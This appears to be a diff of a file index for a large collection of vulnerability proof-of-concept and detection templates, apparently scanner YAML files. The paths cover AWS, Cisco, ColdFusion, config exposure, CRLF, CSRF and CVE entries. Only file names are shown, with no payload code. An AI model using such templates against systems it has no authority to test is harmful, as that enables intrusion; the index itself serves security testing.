+./poc/aws/aws-bucket-takeover-630.yaml ./poc/aws/aws-bucket-takeover-631.yaml -./poc/aws/aws-bucket-takeover-632.yaml ./poc/aws/aws-bucket-takeover.yaml ./poc/aws/aws-cdn-by-wpadmin-975bccdb766488fb23747f51954fe8b7.yaml ./poc/aws/aws-cdn-by-wpadmin.yaml ./poc/aws/aws-cloudfront-service-633.yaml ./poc/aws/aws-cloudfront-service-634.yaml -./poc/aws/aws-cognito-636.yaml +./poc/aws/aws-cloudfront-service.yaml +./poc/aws/aws-code-env.yaml ./poc/aws/aws-cognito-637.yaml +./poc/aws/aws-cognito-638.yaml ./poc/aws/aws-cognito.yaml ./poc/aws/aws-config-not-enabled.yaml ./poc/aws/aws-ec2-autoscale.yaml ./poc/aws/aws-ec2-sto.yaml ./poc/aws/aws-ec2.yaml ./poc/aws/aws-ecs-container-agent-tasks-640.yaml +./poc/aws/aws-ecs-container-agent-tasks-641.yaml ./poc/aws/aws-ecs-container-agent-tasks.yaml ./poc/aws/aws-elastic-beanstalk-detect-642.yaml ./poc/aws/aws-elastic-beanstalk-detect-643.yaml ./poc/aws/aws-elastic-beanstalk-detect-644.yaml +./poc/aws/aws-elastic-beanstalk-detect.yaml ./poc/aws/aws-elastic-beanstalk.yaml ./poc/aws/aws-metadata.yaml ./poc/aws/aws-mfa-not-enabled.yaml @@ -4758,6 +4826,7 @@ ./poc/aws/aws-opensearch-login-650.yaml ./poc/aws/aws-opensearch-login.yaml ./poc/aws/aws-rds-cluster.yaml +./poc/aws/aws-redirect-651.yaml ./poc/aws/aws-redirect-652.yaml ./poc/aws/aws-redirect-653.yaml ./poc/aws/aws-redirect-654.yaml @@ -4765,6 +4834,7 @@ ./poc/aws/aws-s3-misconfig.yaml ./poc/aws/aws-s3-open-bucket.yaml ./poc/aws/aws-secrets.yaml +./poc/aws/aws-sftp-detect.yaml ./poc/aws/aws-sts-service.yaml ./poc/aws/aws.yaml ./poc/aws/awsom-news-announcement-2a6cd514ec8789fb7610e9479b93337f.yaml @@ -4775,7 +4845,7 @@ ./poc/aws/awstats-script-1.yaml ./poc/aws/awstats-script-2.yaml ./poc/aws/awstats-script-3.yaml -./poc/aws/awstats-script-658.yaml +./poc/aws/awstats-script-657.yaml ./poc/aws/awstats-script.yaml ./poc/aws/ays-facebook-popup-likebox-4d80be371c08993d257d71a67ec23c4b.yaml ./poc/aws/best-woocommerce-feed-b97fc2565dd574eec2be30a866171222.yaml @@ -4797,6 +4867,7 @@ ./poc/aws/cloud-enum-aws-app.yaml ./poc/aws/cloud-enum-aws-s3-bucket.yaml ./poc/aws/cloudfront-logging-not-enabled.yaml +./poc/aws/cloudtrail-s3-bucket-logging.yaml ./poc/aws/cm-download-manager-e3b297c6bec277185667d6c49219a581.yaml ./poc/aws/cnpj-receitaws.yaml ./poc/aws/coming-soon-page-fa3a1d9e5dc50822426ccd234bec2f80.yaml @@ -4827,8 +4898,13 @@ ./poc/aws/easy-social-share-buttons3.yaml ./poc/aws/easy-testimonials-63219e4a52f76a6b0555468e9ceec2c8.yaml ./poc/aws/ec2-detection-7161.yaml -./poc/aws/ec2-detection-7163.yaml +./poc/aws/ec2-detection-7162.yaml +./poc/aws/ec2-detection.yaml +./poc/aws/ec2-imdsv2.yaml ./poc/aws/ec2-instance-information.yaml +./poc/aws/ec2-public-ip.yaml +./poc/aws/ec2-sg-egress-open.yaml +./poc/aws/ec2-sg-ingress.yaml ./poc/aws/edd-amazon-s3-0a9c584008d1e4514631aabcae93856c.yaml ./poc/aws/edd-amazon-s3.yaml ./poc/aws/embedpress-c2bbe01422011b5ec22f9af1f4688fcf.yaml @@ -4875,6 +4951,7 @@ ./poc/aws/metadata-aws-8810.yaml ./poc/aws/metadata-aws-8811.yaml ./poc/aws/metadata-aws-8812.yaml +./poc/aws/mime-types-extended-da21a491c0c1b70fec28427963a101bc.yaml ./poc/aws/miniorange-saml-20-single-sign-on-c1ec21b40a223f72a0391ca004186868.yaml ./poc/aws/nd-restaurant-reservations-61b4800084edec2087aa04c88795185e.yaml ./poc/aws/nelio-content-d864ff68b390e3088f2ec2b3f2735f59.yaml @@ -4909,18 +4986,29 @@ ./poc/aws/royal-elementor-addons-39873f867c8c7ec2b80074c5ddf215b5.yaml ./poc/aws/rt-easy-builder-advanced-addons-for-elementor-9bf27aa8ac2ec2db5547e4e597515151.yaml ./poc/aws/s2Framework-9e4b4b5b71968dd064d5eec2f55bb689.yaml +./poc/aws/s3-access-logging.yaml +./poc/aws/s3-auth-fullcontrol.yaml ./poc/aws/s3-bucket (copy 1).yaml ./poc/aws/s3-bucket-9958.yaml +./poc/aws/s3-bucket-key.yaml +./poc/aws/s3-bucket-policy-public-access.yaml ./poc/aws/s3-bucket.yaml ./poc/aws/s3-detect-9962.yaml ./poc/aws/s3-detect-9963.yaml ./poc/aws/s3-detect-9965.yaml ./poc/aws/s3-detect.yaml +./poc/aws/s3-mfa-delete-check.yaml +./poc/aws/s3-object-lock-not-enabled.yaml +./poc/aws/s3-public-read-acp.yaml +./poc/aws/s3-public-read.yaml +./poc/aws/s3-public-write-acp.yaml +./poc/aws/s3-public-write.yaml ./poc/aws/s3-sensitive-api.yaml +./poc/aws/s3-server-side-encryption.yaml ./poc/aws/s3-subtakeover-9967.yaml ./poc/aws/s3-subtakeover-9968.yaml -./poc/aws/s3-subtakeover-9969.yaml ./poc/aws/s3-subtakeover.yaml +./poc/aws/s3-versioning.yaml ./poc/aws/s3-video-1e3ee3e7b398636c16a13429ce61da87.yaml ./poc/aws/s3-video-2875e85793944c129ac07360bcb3657d.yaml ./poc/aws/s3-video-2c7d0fa7ec28bb9b1abb03d1e8ed2337.yaml @@ -4952,7 +5040,8 @@ ./poc/aws/s3bucket-public-write-access.yaml ./poc/aws/s3cfg.yaml ./poc/aws/s3cmd-config-9960.yaml -./poc/aws/s3cmd-config-9961.yaml +./poc/aws/s3cmd-config.yaml +./poc/aws/s3hunter-9966.yaml ./poc/aws/seo-redirection-19ac51f8b0405a9ec28804b8aaa29d9c.yaml ./poc/aws/shortcode-to-display-post-and-user-data-de49acf101613cf75ec2c5768e1c6771.yaml ./poc/aws/smart-slider-2-dfef1caa58305d7dcec2804d684ea5a9.yaml @@ -4972,6 +5061,7 @@ ./poc/aws/ucontext-for-amazon-cab5c38a88137df63895987be51f5e71.yaml ./poc/aws/ucontext-for-amazon.yaml ./poc/aws/ultimate-auction-5bec29af741d09fb530db27c06a3c24e.yaml +./poc/aws/unencrypted-aws-ami.yaml ./poc/aws/verge3d-ec203076ea805d9b107a211f8dabe180.yaml ./poc/aws/video-embed-box-66bbec252690d699429ea17d212af480.yaml ./poc/aws/vk-all-in-one-expansion-unit-77d82cb86b0101655e643fa621ec23c8.yaml @@ -5051,9 +5141,9 @@ ./poc/backup/Wordpress-WP_Quiz_Plugins-DatabaseBackupDisclosure.yaml ./poc/backup/Wordpress-db-backup-InfoDisclosure.yaml ./poc/backup/Wordpress-newwpml_Plugins-DatabaseBackupDownload.yaml +./poc/backup/adb-backup-enabled-60.yaml ./poc/backup/adb-backup-enabled-61.yaml ./poc/backup/adb-backup-enabled-62.yaml -./poc/backup/adb-backup-enabled-63.yaml ./poc/backup/adb-backup-enabled.yaml ./poc/backup/android-manifest-allow-backup-enabled.yaml ./poc/backup/backup-1779dcc8f99f5a16ad298c353daf9d12.yaml @@ -5151,7 +5241,6 @@ ./poc/backup/database-backups.yaml ./poc/backup/db-backup-4ce5dcbee48b05bd3f2e0709e37bed82.yaml ./poc/backup/db-backup-lfi-6774.yaml -./poc/backup/db-backup-lfi-6775.yaml ./poc/backup/db-backup-lfi-6776.yaml ./poc/backup/db-backup-lfi.yaml ./poc/backup/db-backup.yaml @@ -5216,6 +5305,7 @@ ./poc/backup/php-backup-files-9497.yaml ./poc/backup/php-backup-files.yaml ./poc/backup/phpmybackuppro.yaml +./poc/backup/rds-backup-enable.yaml ./poc/backup/recent-backups-aecbf28838f410f4e37aa987e88ec484.yaml ./poc/backup/recent-backups.yaml ./poc/backup/server-backup-login-10153.yaml @@ -5363,7 +5453,6 @@ ./poc/backup/zip-backup-files-11.yaml ./poc/backup/zip-backup-files-11815.yaml ./poc/backup/zip-backup-files-11816.yaml -./poc/backup/zip-backup-files-11817.yaml ./poc/backup/zip-backup-files-11818.yaml ./poc/backup/zip-backup-files-11819.yaml ./poc/backup/zip-backup-files-11820.yaml @@ -5395,42 +5484,41 @@ ./poc/cisco/cisco-anyconnect-vpn.yaml ./poc/cisco/cisco-asa-honeypot-detection.yaml ./poc/cisco/cisco-asa-panel-933.yaml -./poc/cisco/cisco-asa-panel-934.yaml ./poc/cisco/cisco-asa-panel-935.yaml ./poc/cisco/cisco-asa-panel.yaml ./poc/cisco/cisco-asa-version.yaml ./poc/cisco/cisco-asa-workflow.yaml -./poc/cisco/cisco-cloudcenter-suite-log4j-rce.yaml +./poc/cisco/cisco-cloudcenter-suite-rce.yaml ./poc/cisco/cisco-cve-2020-3452-readfile.yml ./poc/cisco/cisco-edge-340-937.yaml ./poc/cisco/cisco-edge-340.yaml ./poc/cisco/cisco-email-security-detect.yaml ./poc/cisco/cisco-expressway-panel.yaml ./poc/cisco/cisco-expressway.yaml -./poc/cisco/cisco-finesse-login-938.yaml ./poc/cisco/cisco-finesse-login-939.yaml +./poc/cisco/cisco-finesse-login-940.yaml ./poc/cisco/cisco-finesse-login.yaml ./poc/cisco/cisco-finger-detect.yaml ./poc/cisco/cisco-imc-supervisor.yaml +./poc/cisco/cisco-implant-detect.yaml ./poc/cisco/cisco-integrated-login-941.yaml ./poc/cisco/cisco-integrated-login-942.yaml ./poc/cisco/cisco-integrated-login.yaml ./poc/cisco/cisco-ios-xe-panel.yaml ./poc/cisco/cisco-iox.yaml ./poc/cisco/cisco-meeting-app.yaml -./poc/cisco/cisco-meraki-exposure-944.yaml ./poc/cisco/cisco-meraki-exposure-945.yaml +./poc/cisco/cisco-meraki-exposure-946.yaml ./poc/cisco/cisco-meraki-exposure.yaml ./poc/cisco/cisco-meraki-workflow.yaml ./poc/cisco/cisco-network-config-947.yaml ./poc/cisco/cisco-network-config-948.yaml -./poc/cisco/cisco-network-config-949.yaml ./poc/cisco/cisco-network-config-950.yaml ./poc/cisco/cisco-network-config-951.yaml ./poc/cisco/cisco-nexus-data-broker.yaml ./poc/cisco/cisco-onprem-panel.yaml +./poc/cisco/cisco-prime-infrastructure-952.yaml ./poc/cisco/cisco-prime-infrastructure-953.yaml -./poc/cisco/cisco-prime-infrastructure-954.yaml ./poc/cisco/cisco-prime-infrastructure.yaml ./poc/cisco/cisco-prime-network-registrar.yaml ./poc/cisco/cisco-rv-series-rce.yaml @@ -5439,29 +5527,31 @@ ./poc/cisco/cisco-sd-wan.yaml ./poc/cisco/cisco-secure-cn-959.yaml ./poc/cisco/cisco-secure-cn.yaml -./poc/cisco/cisco-secure-desktop-960.yaml ./poc/cisco/cisco-secure-desktop-961.yaml +./poc/cisco/cisco-secure-desktop-962.yaml ./poc/cisco/cisco-secure-desktop.yaml +./poc/cisco/cisco-security-details-963.yaml ./poc/cisco/cisco-security-details-964.yaml ./poc/cisco/cisco-security-details.yaml ./poc/cisco/cisco-sendgrid-965.yaml ./poc/cisco/cisco-sendgrid-966.yaml ./poc/cisco/cisco-sendgrid-967.yaml +./poc/cisco/cisco-sendgrid-968.yaml ./poc/cisco/cisco-sendgrid.yaml ./poc/cisco/cisco-smi-exposure-970.yaml ./poc/cisco/cisco-smi-exposure-971.yaml ./poc/cisco/cisco-smi-exposure.yaml ./poc/cisco/cisco-ssl-vpn.yaml -./poc/cisco/cisco-systems-login-973.yaml ./poc/cisco/cisco-systems-login-974.yaml +./poc/cisco/cisco-systems-login-975.yaml ./poc/cisco/cisco-systems-login.yaml +./poc/cisco/cisco-telepresence-976.yaml ./poc/cisco/cisco-telepresence-977.yaml -./poc/cisco/cisco-telepresence-978.yaml ./poc/cisco/cisco-telepresence.yaml ./poc/cisco/cisco-ucm.yaml ./poc/cisco/cisco-ucs-director-panel-detect.yaml ./poc/cisco/cisco-ucs-director.yaml -./poc/cisco/cisco-ucs-kvm-login-979.yaml +./poc/cisco/cisco-ucs-kvm-login-980.yaml ./poc/cisco/cisco-ucs-kvm-login.yaml ./poc/cisco/cisco-unity-express-panel-detect.yaml ./poc/cisco/cisco-unity-panel.yaml @@ -5479,8 +5569,8 @@ ./poc/coldfusion/adobe-coldfusion-detect-5.yaml ./poc/coldfusion/adobe-coldfusion-detect-6.yaml ./poc/coldfusion/adobe-coldfusion-detect-82.yaml +./poc/coldfusion/adobe-coldfusion-detect-83.yaml ./poc/coldfusion/adobe-coldfusion-detect-84.yaml -./poc/coldfusion/adobe-coldfusion-detect.yaml ./poc/coldfusion/adobe-coldfusion-detector-1.yaml ./poc/coldfusion/adobe-coldfusion-detector-2.yaml ./poc/coldfusion/adobe-coldfusion-detector-3.yaml @@ -5489,9 +5579,9 @@ ./poc/coldfusion/adobe-coldfusion-detector-6.yaml ./poc/coldfusion/adobe-coldfusion-detector-error.yaml ./poc/coldfusion/adobe-coldfusion-error-detect-85.yaml -./poc/coldfusion/adobe-coldfusion-error-detect-86.yaml ./poc/coldfusion/adobe-coldfusion-error-detect-87.yaml ./poc/coldfusion/adobe-coldfusion-error-detect-88.yaml +./poc/coldfusion/adobe-coldfusion-error-detect.yaml ./poc/coldfusion/better-messages-wcfm-integration-6477bf18cad6c823db485408d49b337b.yaml ./poc/coldfusion/better-messages-wcfm-integration-ff9293ba28748efa2ab9a2fe77385468.yaml ./poc/coldfusion/better-messages-wcfm-integration.yaml @@ -5519,6 +5609,7 @@ ./poc/coldfusion/tenda-w15e-routercfm-cfg-config-leak.yaml ./poc/coldfusion/unpatched-coldfusion-10977.yaml ./poc/coldfusion/unpatched-coldfusion-10978.yaml +./poc/coldfusion/unpatched-coldfusion-10979.yaml ./poc/coldfusion/unpatched-coldfusion.yaml ./poc/coldfusion/wcfm-marketplace-rest-api-83211a697400a39f3ef0aefc82922e72.yaml ./poc/coldfusion/wcfm-marketplace-rest-api.yaml @@ -5545,24 +5636,21 @@ ./poc/config/aerohive-netconfig-ui-199.yaml ./poc/config/aerohive-netconfig-ui-200.yaml ./poc/config/aerohive-netconfig-ui-201.yaml -./poc/config/aerohive-netconfig-ui.yaml ./poc/config/airflow-configuration-exposure-229.yaml ./poc/config/airflow-configuration-exposure-230.yaml ./poc/config/alibaba-canal-config-leak.yaml ./poc/config/amazon-docker-config-279.yaml -./poc/config/amazon-docker-config-disclosure-278.yaml +./poc/config/amazon-docker-config-280.yaml ./poc/config/amazon-docker-config-disclosure.yaml -./poc/config/amazon-docker-config.yaml ./poc/config/ansible-config-disclosure-325.yaml -./poc/config/ansible-config-disclosure.yaml +./poc/config/ansible-config-disclosure-326.yaml ./poc/config/apache-config-343.yaml -./poc/config/apache-config-344.yaml ./poc/config/apache-config-exposure.yaml ./poc/config/apache-config-plain-password.yaml +./poc/config/apache-config.yaml ./poc/config/apache-httpd-conf-disclosure.yaml ./poc/config/apache-httpd-conf-exposure.yml ./poc/config/api-iconfinder-438.yaml -./poc/config/api-iconfinder-439.yaml ./poc/config/aws-config-not-enabled.yaml ./poc/config/aws-s3-misconfig.yaml ./poc/config/awstats-config-1.yaml @@ -5573,16 +5661,17 @@ ./poc/config/bigip-config-utility-detect-1.yaml ./poc/config/bigip-config-utility-detect-2.yaml ./poc/config/bigip-config-utility-detect-3.yaml +./poc/config/bigip-config-utility-detect-730.yaml ./poc/config/bigip-config-utility-detect-731.yaml -./poc/config/bigip-config-utility-detect-733.yaml ./poc/config/bigip-config-utility-detect.yaml +./poc/config/buffalo-config-injection-798.yaml ./poc/config/buffalo-config-injection-799.yaml -./poc/config/buffalo-config-injection-801.yaml ./poc/config/buffalo-config-injection.yaml ./poc/config/cache-control-header-misconfiguration.yaml ./poc/config/child-theme-configurator.yaml ./poc/config/chinatelecomequipmentwebconfigurationsystem.yaml ./poc/config/circleci-config-922.yaml +./poc/config/circleci-config-923.yaml ./poc/config/circleci-config-925.yaml ./poc/config/circleci-config.yaml ./poc/config/circleci-ssh-config-926.yaml @@ -5590,7 +5679,6 @@ ./poc/config/circleci-ssh-config.yaml ./poc/config/cisco-network-config-947.yaml ./poc/config/cisco-network-config-948.yaml -./poc/config/cisco-network-config-949.yaml ./poc/config/cisco-network-config-950.yaml ./poc/config/cisco-network-config-951.yaml ./poc/config/cloud-config.yaml @@ -5616,10 +5704,10 @@ ./poc/config/configurable-tag-cloud-widget-ca276d47d9ec19544f581dbe03805651.yaml ./poc/config/configurable-tag-cloud-widget.yaml ./poc/config/configuration-listing-1181.yaml +./poc/config/configuration-listing-1182.yaml ./poc/config/configuration-listing-1183.yaml ./poc/config/configuration-listing-1184.yaml ./poc/config/configuration-listing-1185.yaml -./poc/config/configuration-listing.yaml ./poc/config/configure-aaa-service.yaml ./poc/config/configure-login-timeout-ce20845701b39e623196930fd975c04d.yaml ./poc/config/configure-login-timeout.yaml @@ -5637,18 +5725,17 @@ ./poc/config/confluence-cve-2021-26085-arbitrary-file-read.yml ./poc/config/confluence-dashboard.yaml ./poc/config/confluence-detect-1.yaml +./poc/config/confluence-detect-1186.yaml ./poc/config/confluence-detect-1187.yaml -./poc/config/confluence-detect-1188.yaml ./poc/config/confluence-detect-1189.yaml ./poc/config/confluence-detect-2.yaml ./poc/config/confluence-detect-3.yaml ./poc/config/confluence-detect-4.yaml ./poc/config/confluence-detect.yaml -./poc/config/confluence-ssrf-sharelinks-1190.yaml ./poc/config/confluence-ssrf-sharelinks-1191.yaml ./poc/config/confluence-ssrf-sharelinks-1192.yaml +./poc/config/confluence-ssrf-sharelinks-1193.yaml ./poc/config/confluence-ssrf-sharelinks-1194.yaml -./poc/config/confluence-ssrf-sharelinks.yaml ./poc/config/confluence-workflow-1195.yaml ./poc/config/confluence-workflow.yaml ./poc/config/confluence.yaml @@ -5657,13 +5744,13 @@ ./poc/config/conftool.yaml ./poc/config/coop-misconfig.yaml ./poc/config/coremail-config-disclosure-1213.yaml -./poc/config/coremail-config-disclosure-1214.yaml ./poc/config/coremail-config-disclosure-1215.yaml +./poc/config/coremail-config-disclosure-1216.yaml ./poc/config/coremail-config-disclosure.yaml -./poc/config/cors-misconfig-1221.yaml ./poc/config/cors-misconfig-1222.yaml ./poc/config/cors-misconfig-1223.yaml ./poc/config/cors-misconfig-1224.yaml +./poc/config/cors-misconfig.yaml ./poc/config/debug-log-config-tool-de2ab3ada51607e8bc54fae30ad1a036.yaml ./poc/config/debug-log-config-tool.yaml ./poc/config/default-config-6835.yaml @@ -5683,12 +5770,12 @@ ./poc/config/docker-compose-config-7.yaml ./poc/config/docker-compose-config-7057.yaml ./poc/config/docker-compose-config-7058.yaml +./poc/config/docker-compose-config-7059.yaml ./poc/config/docker-compose-config.yml ./poc/config/docker-misconfigured-api.yaml ./poc/config/dockercfg-config-1.yaml ./poc/config/dockercfg-config-2.yaml ./poc/config/dockercfg-config-7056.yaml -./poc/config/dockercfg-config.yaml ./poc/config/dockerrun-aws-config-page.yaml ./poc/config/dompdf-config.yaml ./poc/config/drupal_module-config_pages-information-disclosure.yaml @@ -5707,7 +5794,7 @@ ./poc/config/esmtprc-config-7259.yaml ./poc/config/esmtprc-config-7260.yaml ./poc/config/exposed-gitlab-ci-config.yaml -./poc/config/extreme-netconfig-ui-7372.yaml +./poc/config/extreme-netconfig-ui-7371.yaml ./poc/config/extreme-netconfig-ui.yaml ./poc/config/find-config-7472.yaml ./poc/config/find-config-7473.yaml @@ -5729,15 +5816,13 @@ ./poc/config/front-page-misconfig-2.yaml ./poc/config/front-page-misconfig-7545.yaml ./poc/config/front-page-misconfig-7546.yaml -./poc/config/front-page-misconfig-7547.yaml ./poc/config/front-page-misconfig-7550.yaml ./poc/config/front-page-misconfig.yaml ./poc/config/ftpconfig-7565.yaml -./poc/config/ftpconfig-7566.yaml +./poc/config/ftpconfig.yaml ./poc/config/gcs-misconfig.yaml ./poc/config/git-config-7633.yaml ./poc/config/git-config-7634.yaml -./poc/config/git-config-7635.yaml ./poc/config/git-config-7636.yaml ./poc/config/git-config-7637.yaml ./poc/config/git-config-7638.yaml @@ -5750,6 +5835,7 @@ ./poc/config/git-config-nginxoffbyslash-5.yaml ./poc/config/git-config-nginxoffbyslash-6.yaml ./poc/config/git-config-nginxoffbyslash-7.yaml +./poc/config/git-config-nginxoffbyslash-7629.yaml ./poc/config/git-config-nginxoffbyslash-7630.yaml ./poc/config/git-config-nginxoffbyslash-7631.yaml ./poc/config/git-config-nginxoffbyslash-7632.yaml @@ -5757,6 +5843,7 @@ ./poc/config/git-config-nginxoffbyslash-9.yaml ./poc/config/git-config-nginxoffbyslash.yaml ./poc/config/git-config.yaml +./poc/config/github-page-config-7654.yaml ./poc/config/github-page-config-7655.yaml ./poc/config/github-page-config-7656.yaml ./poc/config/gitlab-config-exposure.yml @@ -5777,7 +5864,6 @@ ./poc/config/honeywell-scada-config-7989.yaml ./poc/config/honeywell-scada-config-7990.yaml ./poc/config/honeywell-scada-config-7991.yaml -./poc/config/honeywell-scada-config.yaml ./poc/config/htaccess-config-8042.yaml ./poc/config/htaccess-config-8043.yaml ./poc/config/htaccess-config.yaml @@ -5789,11 +5875,10 @@ ./poc/config/insecure-cors-configuration.yaml ./poc/config/insecure_transport_networksecurityconfig.yaml ./poc/config/ispconfig.yaml +./poc/config/joomla-config-dist-file.yaml ./poc/config/joomla-config-file-8374.yaml ./poc/config/joomla-config-file-8375.yaml -./poc/config/joomla-config-file-8376.yaml ./poc/config/joomla-config-file-8377.yaml -./poc/config/joomla-config-file.yaml ./poc/config/joomla-sensitive-config.yaml ./poc/config/jsconfig-json.yaml ./poc/config/kafka-misconfig.yaml @@ -5812,23 +5897,27 @@ ./poc/config/magento-config-8700.yaml ./poc/config/magento-config-8701.yaml ./poc/config/magento-config-8702.yaml +./poc/config/magento-config-8703.yaml +./poc/config/magento-config-disclosure.yaml ./poc/config/magento-config.yaml ./poc/config/manageengine-network-config.yaml ./poc/config/misconfig.yaml ./poc/config/misconfigured-concrete5.yaml -./poc/config/misconfigured-docker-8900.yaml ./poc/config/misconfigured-docker-8901.yaml +./poc/config/misconfigured-docker-8902.yaml ./poc/config/misconfigured-docker.yaml ./poc/config/misconfigured-redis.yaml ./poc/config/msmtp-config-8966.yaml +./poc/config/msmtp-config-8967.yaml ./poc/config/nconf-panel.yaml ./poc/config/nexus-repo-config-exposure.yml ./poc/config/nexus-repository-exposed-configuration.yaml ./poc/config/nginx-conf-exposed.yaml ./poc/config/nginx-config-9096.yaml ./poc/config/nginx-config-9097.yaml -./poc/config/nginx-config-9098.yaml +./poc/config/nginx-config-9099.yaml ./poc/config/nginx-config-exposure.yaml +./poc/config/nginx-config.yaml ./poc/config/nginx_Misconfiguration.yaml ./poc/config/nuclei_esConfig.yaml ./poc/config/om-video-conferencing.yaml @@ -5839,26 +5928,26 @@ ./poc/config/oracle-ebs-config-disclosure.yaml ./poc/config/owncloud-config-9419.yaml ./poc/config/owncloud-config.yaml -./poc/config/parameters-config.yaml +./poc/config/parameters-config-9465.yaml ./poc/config/phinx-config.yaml ./poc/config/php-fpm-config-9513.yaml ./poc/config/php-fpm-config.yaml +./poc/config/phpmyadmin-misconfiguration.yaml ./poc/config/pipeline-config-exposure.yaml ./poc/config/poc-yaml-Confluence-ognl-rce.yaml ./poc/config/prod-conf.yaml ./poc/config/proftpd-config-9666.yaml ./poc/config/proftpd-config-9667.yaml -./poc/config/prometheus-config-9673.yaml ./poc/config/prometheus-config-endpoint-9671.yaml ./poc/config/prometheus-config-endpoint-9672.yaml ./poc/config/prometheus-config-endpoint.yaml +./poc/config/prometheus-config.yaml ./poc/config/publish-confirm-message-be37091b7b8e5fc7583cd9ff3bba3042.yaml ./poc/config/publish-confirm-message.yaml ./poc/config/rabbitmq-config-exposure.yml ./poc/config/rails-database-config-9801.yaml ./poc/config/rails-database-config-9803.yaml ./poc/config/rails-database-config-9804.yaml -./poc/config/rails-database-config.yaml ./poc/config/rconfig-cve-2019-16663.yml ./poc/config/rconfig-rce-9834.yaml ./poc/config/rconfig-rce-9835.yaml @@ -5870,12 +5959,13 @@ ./poc/config/redis-config-exposure.yaml ./poc/config/redmine-db-config.yaml ./poc/config/s3cmd-config-9960.yaml -./poc/config/s3cmd-config-9961.yaml +./poc/config/s3cmd-config.yaml ./poc/config/salesforce-aura-misconfig.yaml ./poc/config/salesforce-misconfiguration.yaml ./poc/config/saltstack-config-panel.yaml ./poc/config/samba-config-9985.yaml ./poc/config/samba-config-9986.yaml +./poc/config/samba-config-9987.yaml ./poc/config/seeyon-a6-config-disclosure.yaml ./poc/config/server-config-exposure.yaml ./poc/config/sftp-config-exposure.yaml @@ -5884,19 +5974,18 @@ ./poc/config/sonatype-nexus-config-exposure.yml ./poc/config/sphinxsearch-config.yaml ./poc/config/springboot-autoconfig-1.yaml -./poc/config/springboot-autoconfig-10436.yaml ./poc/config/springboot-autoconfig-10437.yaml ./poc/config/springboot-autoconfig-2.yaml ./poc/config/springboot-configprops-1.yaml +./poc/config/springboot-configprops-10442.yaml ./poc/config/springboot-configprops-10443.yaml -./poc/config/springboot-configprops-10444.yaml ./poc/config/springboot-configprops-10445.yaml ./poc/config/springboot-configprops-2.yaml ./poc/config/sshd-config-disclosure.yaml ./poc/config/ssrf-via-oauth-misconfig-10525.yaml ./poc/config/ssrf-via-oauth-misconfig-10527.yaml ./poc/config/svnserve-config-10589.yaml -./poc/config/svnserve-config-10590.yaml +./poc/config/svnserve-config.yaml ./poc/config/symfony-database-config-10614.yaml ./poc/config/symfony-database-config-10615.yaml ./poc/config/symfony-database-config-10616.yaml @@ -5911,12 +6000,10 @@ ./poc/config/tenda-w15e-routercfm-cfg-config-leak.yaml ./poc/config/the-conference-22b4ad0345c7f065a84ce9174ab4fe7e.yaml ./poc/config/the-conference.yaml -./poc/config/travis-config.yaml ./poc/config/truffle-config-exposure.yaml ./poc/config/tugboat-config-exposure-10841.yaml -./poc/config/tugboat-config-exposure-10842.yaml +./poc/config/tugboat-config-exposure-10843.yaml ./poc/config/tugboat-config-exposure-10844.yaml -./poc/config/tugboat-config-exposure.yaml ./poc/config/unconfirmed-abc400f143f0254b15b00169f8369d29.yaml ./poc/config/unconfirmed.yaml ./poc/config/v2-video-conferencing.yaml @@ -5949,7 +6036,7 @@ ./poc/config/videowhisper-video-conference-integration.yaml ./poc/config/wamp-server-configuration-11096.yaml ./poc/config/wamp-server-configuration-11097.yaml -./poc/config/wamp-server-configuration-11098.yaml +./poc/config/wamp-server-configuration.yaml ./poc/config/wanhu-ezoffice-teleconferenceservice-xxe.yaml ./poc/config/wanhu-oa-tele-conference-service-xxe.yaml ./poc/config/web-config-11123.yaml @@ -5976,7 +6063,6 @@ ./poc/config/wordpress-accessible-wpconfig-10.yaml ./poc/config/wordpress-accessible-wpconfig-11.yaml ./poc/config/wordpress-accessible-wpconfig-11234.yaml -./poc/config/wordpress-accessible-wpconfig-11235.yaml ./poc/config/wordpress-accessible-wpconfig-11237.yaml ./poc/config/wordpress-accessible-wpconfig-11238.yaml ./poc/config/wordpress-accessible-wpconfig-11239.yaml @@ -6041,11 +6127,11 @@ ./poc/crlf_injection/crlf-1266.yaml ./poc/crlf_injection/crlf-extended.yaml ./poc/crlf_injection/crlf-injection-1.yaml +./poc/crlf_injection/crlf-injection-1260.yaml ./poc/crlf_injection/crlf-injection-1261.yaml ./poc/crlf_injection/crlf-injection-1262.yaml ./poc/crlf_injection/crlf-injection-1263.yaml ./poc/crlf_injection/crlf-injection-1264.yaml -./poc/crlf_injection/crlf-injection-1265.yaml ./poc/crlf_injection/crlf-injection-2.yaml ./poc/crlf_injection/crlf-injection-3.yaml ./poc/crlf_injection/crlf-injection-4.yaml @@ -6072,8 +6158,7 @@ ./poc/cross_site_request_forgery/csrf-token-missing.yaml ./poc/cross_site_request_forgery/csrf.yaml ./poc/cross_site_request_forgery/csrf2.yaml -./poc/cross_site_request_forgery/csrfguard-detect-1291.yaml -./poc/cross_site_request_forgery/csrfguard-detect.yaml +./poc/cross_site_request_forgery/csrfguard-detect-1290.yaml ./poc/cross_site_request_forgery/django-debug-exposure-csrf.yaml ./poc/cross_site_request_forgery/drupal_module-cloud-csrf.yaml ./poc/cross_site_request_forgery/hidden-csrf-token.yaml @@ -6106,6 +6191,7 @@ ./poc/cve/CNVD-2016-08603.yaml ./poc/cve/CNVD-2016-11944.yaml ./poc/cve/CNVD-2017-00009.yaml +./poc/cve/CNVD-2017-06001.yaml ./poc/cve/CNVD-2017-20077.yaml ./poc/cve/CNVD-2017-25744.yaml ./poc/cve/CNVD-2017-26282.yaml @@ -6137,6 +6223,7 @@ ./poc/cve/CNVD-2019-16798.yaml ./poc/cve/CNVD-2019-17061.yaml ./poc/cve/CNVD-2019-17294.yaml +./poc/cve/CNVD-2019-19299.yaml ./poc/cve/CNVD-2019-22239.yaml ./poc/cve/CNVD-2019-27717.yaml ./poc/cve/CNVD-2019-32204.yaml @@ -6161,6 +6248,8 @@ ./poc/cve/CNVD-2021-15822.yaml ./poc/cve/CNVD-2021-15824.yaml ./poc/cve/CNVD-2021-17369.yaml +./poc/cve/CNVD-2021-26422.yaml +./poc/cve/CNVD-2021-28277.yaml ./poc/cve/CNVD-2021-30167-1.yaml ./poc/cve/CNVD-2021-30167-2.yaml ./poc/cve/CNVD-2021-30167.yaml @@ -6184,6 +6273,7 @@ ./poc/cve/CNVD-2023-08743.yaml ./poc/cve/CVE-2000-0114.yaml ./poc/cve/CVE-2001-0537.yaml +./poc/cve/CVE-2001-1473.yaml ./poc/cve/CVE-2002-1131.yaml ./poc/cve/CVE-2003-1598-35d1ba838509380abcf47521aad3fd3f.yaml 